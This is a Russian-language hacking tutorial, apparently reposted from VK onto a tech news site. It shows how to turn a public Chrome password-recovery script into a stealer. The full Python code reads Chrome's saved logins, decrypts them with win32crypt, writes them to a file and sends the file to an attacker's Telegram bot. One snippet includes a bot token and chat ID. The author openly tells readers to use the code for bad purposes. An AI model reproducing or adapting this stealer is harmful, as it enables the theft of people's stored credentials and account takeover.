GitHub - Твой проводник в мир вирусологии.

МЕНЮ


Искусственный интеллект
Поиск
Регистрация на сайте
Помощь проекту

ТЕМЫ


Новости ИИРазработка ИИВнедрение ИИРабота разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика

Авторизация



RSS


RSS новости


Привет, хацкер, сегодня я расскажу тебе о том, как GitHub помогает хакерам в вирусных атаках…

Приведу пример, когда хакеры брали готовые инструменты с GitHub'a и проводили атаки:

Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память. В других случаях использовался инструмент для хищения паролей LaZagne Project или загружалась и выполнялась другая Python-малварь. После проведения дополнительного расследования мы идентифицировали контроллеры для разных протоколов, в том числе Cmd, Lazagne, Mimikatz и так далее», — объясняют эксперты Morphisec.

Полный отчёт о таких роде атак можно найти на xakep'e

Так в чём суть?

Хакеры использовали готовые инструменты для атаки, все они были в публичном доступе. Сегодня я приведу в пример, как они сделали из публичного инструмента, предназначенного для восстановления паролей, вирус который отправляет данные злоумышленнику.

Поехали!

В поиске GitHub'a нашёл этот репозиторий:

Когда вы запрашиваете Google Chrome для сохранения пароля на данном веб-сайте, он сохраняет его в файле "Login Data" (файл базы данных sqlite).
Для безопасного хранения пароля пароль шифруется с использованием учетных данных окна пользователя.
Эта программа расшифровывает пароли в машине пользователя, а затем копирует их в тот же каталог, в котором присутствует программа.
Поэтому, если исполняемая версия этой программы подключена к любому компьютеру под управлением windows и Google Chrome, запуск этой программы скопирует все сохраненные пароли Chrome в текстовый файл. ( Admin: Кодер реализовал функцию сохранения паролей криво, но мы это поправим:) )

Скачиваем архив, смотрим код:

Исходя из кода, можем выявить работу этой утилиты.

  1. Сначала проводится подключение к бд Login Data (он содержит пароли)
  2. Далее в колонке logins он выбирает и извлекает таблицы: action_url, username_value, password_value
  3. Затем создаёт файл с именем file.txt и записывает в него логины и пароли

Тут всё просто, как 2х2.

Запустим скрипт иии…

Пароли не сохранились... Видимо кодер не проверял свой код, но ничего, сейчас всё подправим.

Всё дело в том, что пароли то он записал, а соединение с файлом закрыть забыл, лечится эта ошибка одной строкой:

fp.close()

Запускаем иии…

Скрипт работает, но наш кодер сделал лог максимально неудобным

Ладно, и эту ошибку мы поправим, для этого просто в некоторых местах убираем '/n' (она отвечает за начало новой строки)

Теперь лог приобрёл человеческий вид :)

fp.write(' The website: '+ result[0] + ' ') fp.write('The Username: '+ result[1] + ' ')  fp.write('The password: '+ str(password) + ' ')

Лог сохранён, приведён в порядок, можно и отправить (не будем же мы лично запускать стиллер на ПК жертвы, а потом копировать текстовик на USB?))

Отправка будет моим любимым способом - в телеграм.

Для этого нам нужно:

  1. Импортировать библиотеку requests, для POST запроса (для отправки)
  2. Добавить две переменные отвечающие за токен бота, и ID чата.
  3. Объявить переменную для POST запроса
  4. Ну и сделать запрос
# Переменные chat_id = '439184350' bot_token = '707234715:AAG7I_RBjNt93HWlXAmWML0LwkRGxqNq8Ac'  # Переменная для POST запроса files = {'document': open('file.txt', 'rb')}  # Сам запрос requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id  + "&caption=NEW LOG! ?" + " Coded by @DARKSIDE_TEAM", files=files) 

Теперь код выглядит так:

Ну и протестируем:

Весь код:

import sqlite3 import win32crypt import os import requests from os import getenv  chat_id = '' bot_token = ''  conn = sqlite3.connect(getenv("APPDATA")+r"..LocalGoogleChromeUser DataDefaultLogin Data") cursor = conn.cursor()  cursor.execute('Select action_url, username_value, password_value FROM logins') fp = open(r"file.txt", "a+") fp.write("Chrome Saved Passwords | Dark $ide - @darkside_team ") for result in cursor.fetchall():    password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]    if password:        fp.write(' The website: '+result[0] + ' ')        fp.write('The Username: '+result[1] + ' ')         fp.write('The password: '+ str(password) + ' ')   fp.close()  files = {'document': open('file.txt', 'rb')}  requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ?" + " Coded by @DARKSIDE_TEAM", files=files)  ''' DARK $IDE | @DARKSIDE_TEAM ''' 

Использовать исключительно в плохих целях!

Заключение.

Сегодня мы рассмотрели способ, который позволяет сделать из программы показывающей пароли, сделать стиллер с отправкой лога в телегу. На этом статья подходит к концу, удачи тебе, хацкер


Источник: m.vk.com

Комментарии: